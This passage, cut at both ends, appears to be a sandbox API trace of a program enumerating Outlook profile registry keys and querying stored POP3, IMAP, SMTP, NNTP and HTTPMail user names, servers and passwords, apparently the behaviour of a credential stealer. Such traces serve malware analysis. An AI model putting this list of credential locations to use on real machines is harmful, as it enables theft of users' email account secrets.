lpcbData=0x54deb08*=0x0) returned 0x2 [0096.268] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.268] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\3517490d76624c419a828607e2a54604", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.268] RegQueryValueExA (in: hKey=0x6f8, lpValueName="HTTP Server URL", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.268] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.268] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\3517490d76624c419a828607e2a54604", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.268] RegQueryValueExA (in: hKey=0x6f8, lpValueName="POP3 User", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.269] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.269] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\3517490d76624c419a828607e2a54604", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.269] RegQueryValueExA (in: hKey=0x6f8, lpValueName="IMAP User", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.269] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.269] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\3517490d76624c419a828607e2a54604", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.276] RegQueryValueExA (in: hKey=0x6f8, lpValueName="HTTPMail User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.276] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.276] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\3517490d76624c419a828607e2a54604", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.276] RegQueryValueExA (in: hKey=0x6f8, lpValueName="HTTPMail Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.276] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.276] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\3517490d76624c419a828607e2a54604", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.276] RegQueryValueExA (in: hKey=0x6f8, lpValueName="SMTP User", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.276] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.276] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\3517490d76624c419a828607e2a54604", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.276] RegQueryValueExA (in: hKey=0x6f8, lpValueName="POP3 Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.276] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.276] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\3517490d76624c419a828607e2a54604", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.276] RegQueryValueExA (in: hKey=0x6f8, lpValueName="IMAP Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.276] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.277] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\3517490d76624c419a828607e2a54604", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.277] RegQueryValueExA (in: hKey=0x6f8, lpValueName="NNTP Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.277] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.277] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\3517490d76624c419a828607e2a54604", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.277] RegQueryValueExA (in: hKey=0x6f8, lpValueName="HTTPMail Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.277] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.277] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\3517490d76624c419a828607e2a54604", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.277] RegQueryValueExA (in: hKey=0x6f8, lpValueName="SMTP Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.277] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.277] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\3517490d76624c419a828607e2a54604", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.277] RegQueryValueExA (in: hKey=0x6f8, lpValueName="POP3 Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.277] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.277] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\3517490d76624c419a828607e2a54604", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.277] RegQueryValueExA (in: hKey=0x6f8, lpValueName="IMAP Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.277] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.277] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\3517490d76624c419a828607e2a54604", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.277] RegQueryValueExA (in: hKey=0x6f8, lpValueName="NNTP Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.277] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.278] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\3517490d76624c419a828607e2a54604", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.278] RegQueryValueExA (in: hKey=0x6f8, lpValueName="HTTP Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.278] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.278] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\3517490d76624c419a828607e2a54604", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.278] RegQueryValueExA (in: hKey=0x6f8, lpValueName="SMTP Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.278] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.278] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\3517490d76624c419a828607e2a54604", ulOptions=0x0, samDesired=0x101, phkResult=0x54deb68 | out: phkResult=0x54deb68*=0x6f8) returned 0x0 [0096.278] RegQueryValueExA (in: hKey=0x6f8, lpValueName="POP3 Port", lpReserved=0x0, lpType=0x54deb58, lpData=0x54deb50, lpcbData=0x54deb60*=0x4 | out: lpType=0x54deb58*=0x0, lpData=0x54deb50*=0x0, lpcbData=0x54deb60*=0x4) returned 0x2 [0096.278] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.278] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\3517490d76624c419a828607e2a54604", ulOptions=0x0, samDesired=0x101, phkResult=0x54deb68 | out: phkResult=0x54deb68*=0x6f8) returned 0x0 [0096.278] RegQueryValueExA (in: hKey=0x6f8, lpValueName="SMTP Port", lpReserved=0x0, lpType=0x54deb58, lpData=0x54deb50, lpcbData=0x54deb60*=0x4 | out: lpType=0x54deb58*=0x0, lpData=0x54deb50*=0x0, lpcbData=0x54deb60*=0x4) returned 0x2 [0096.278] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.278] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\3517490d76624c419a828607e2a54604", ulOptions=0x0, samDesired=0x101, phkResult=0x54deb68 | out: phkResult=0x54deb68*=0x6f8) returned 0x0 [0096.278] RegQueryValueExA (in: hKey=0x6f8, lpValueName="IMAP Port", lpReserved=0x0, lpType=0x54deb58, lpData=0x54deb50, lpcbData=0x54deb60*=0x4 | out: lpType=0x54deb58*=0x0, lpData=0x54deb50*=0x0, lpcbData=0x54deb60*=0x4) returned 0x2 [0096.278] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.278] RegOpenKeyA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\3517490d76624c419a828607e2a54604", phkResult=0x54deca0 | out: phkResult=0x54deca0*=0x6f8) returned 0x0 [0096.278] RegEnumKeyExA (in: hKey=0x6f8, dwIndex=0x0, lpName=0x54decb0, lpcchName=0x54df4d8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="", lpcchName=0x54df4d8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0096.278] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.278] LocalFree (hMem=0x28e7670) returned 0x0 [0096.278] RegEnumKeyExA (in: hKey=0x368, dwIndex=0x6, lpName=0x54df510, lpcchName=0x54dfd38, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="467888fc50a6c6448d6cc0cf7b5307d6", lpcchName=0x54dfd38, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0096.279] lstrlenA (lpString="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook") returned 55 [0096.279] LocalAlloc (uFlags=0x40, uBytes=0xd7) returned 0x28e7670 [0096.279] wsprintfA (in: param_1=0x28e7670, param_2="%s\\%s" | out: param_1="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\467888fc50a6c6448d6cc0cf7b5307d6") returned 88 [0096.279] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\467888fc50a6c6448d6cc0cf7b5307d6", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.279] RegQueryValueExA (in: hKey=0x6f8, lpValueName="SMTP Email Address", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.279] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.279] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\467888fc50a6c6448d6cc0cf7b5307d6", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.279] RegQueryValueExA (in: hKey=0x6f8, lpValueName="SMTP Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.279] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.279] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\467888fc50a6c6448d6cc0cf7b5307d6", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.279] RegQueryValueExA (in: hKey=0x6f8, lpValueName="POP3 Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.279] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.279] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\467888fc50a6c6448d6cc0cf7b5307d6", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.279] RegQueryValueExA (in: hKey=0x6f8, lpValueName="POP3 User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.279] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.279] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\467888fc50a6c6448d6cc0cf7b5307d6", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.279] RegQueryValueExA (in: hKey=0x6f8, lpValueName="SMTP User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.279] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.280] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\467888fc50a6c6448d6cc0cf7b5307d6", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.280] RegQueryValueExA (in: hKey=0x6f8, lpValueName="NNTP Email Address", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.280] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.280] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\467888fc50a6c6448d6cc0cf7b5307d6", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.280] RegQueryValueExA (in: hKey=0x6f8, lpValueName="NNTP User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.280] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.280] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\467888fc50a6c6448d6cc0cf7b5307d6", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.280] RegQueryValueExA (in: hKey=0x6f8, lpValueName="NNTP Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.280] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.280] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\467888fc50a6c6448d6cc0cf7b5307d6", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.280] RegQueryValueExA (in: hKey=0x6f8, lpValueName="IMAP Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.280] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.280] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\467888fc50a6c6448d6cc0cf7b5307d6", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.280] RegQueryValueExA (in: hKey=0x6f8, lpValueName="IMAP User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.280] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.280] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\467888fc50a6c6448d6cc0cf7b5307d6", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.280] RegQueryValueExA (in: hKey=0x6f8, lpValueName="Email", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.281] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.281] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\467888fc50a6c6448d6cc0cf7b5307d6", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.281] RegQueryValueExA (in: hKey=0x6f8, lpValueName="HTTP User", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.281] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.281] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\467888fc50a6c6448d6cc0cf7b5307d6", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.281] RegQueryValueExA (in: hKey=0x6f8, lpValueName="HTTP Server URL", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.281] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.281] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\467888fc50a6c6448d6cc0cf7b5307d6", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.281] RegQueryValueExA (in: hKey=0x6f8, lpValueName="POP3 User", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.281] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.281] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\467888fc50a6c6448d6cc0cf7b5307d6", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.281] RegQueryValueExA (in: hKey=0x6f8, lpValueName="IMAP User", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.281] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.281] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\467888fc50a6c6448d6cc0cf7b5307d6", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.281] RegQueryValueExA (in: hKey=0x6f8, lpValueName="HTTPMail User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.281] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.281] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\467888fc50a6c6448d6cc0cf7b5307d6", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.282] RegQueryValueExA (in: hKey=0x6f8, lpValueName="HTTPMail Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.282] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.282] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\467888fc50a6c6448d6cc0cf7b5307d6", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.282] RegQueryValueExA (in: hKey=0x6f8, lpValueName="SMTP User", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.282] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.282] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\467888fc50a6c6448d6cc0cf7b5307d6", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.282] RegQueryValueExA (in: hKey=0x6f8, lpValueName="POP3 Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.282] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.282] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\467888fc50a6c6448d6cc0cf7b5307d6", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.282] RegQueryValueExA (in: hKey=0x6f8, lpValueName="IMAP Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.282] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.282] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\467888fc50a6c6448d6cc0cf7b5307d6", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.282] RegQueryValueExA (in: hKey=0x6f8, lpValueName="NNTP Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.282] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.282] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\467888fc50a6c6448d6cc0cf7b5307d6", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.282] RegQueryValueExA (in: hKey=0x6f8, lpValueName="HTTPMail Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.282] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.282] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\467888fc50a6c6448d6cc0cf7b5307d6", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.283] RegQueryValueExA (in: hKey=0x6f8, lpValueName="SMTP Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.283] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.283] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\467888fc50a6c6448d6cc0cf7b5307d6", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.283] RegQueryValueExA (in: hKey=0x6f8, lpValueName="POP3 Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.283] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.283] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\467888fc50a6c6448d6cc0cf7b5307d6", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.283] RegQueryValueExA (in: hKey=0x6f8, lpValueName="IMAP Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.283] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.283] RegOpenKeyExA (in: hKey=0xffffffff80000001, 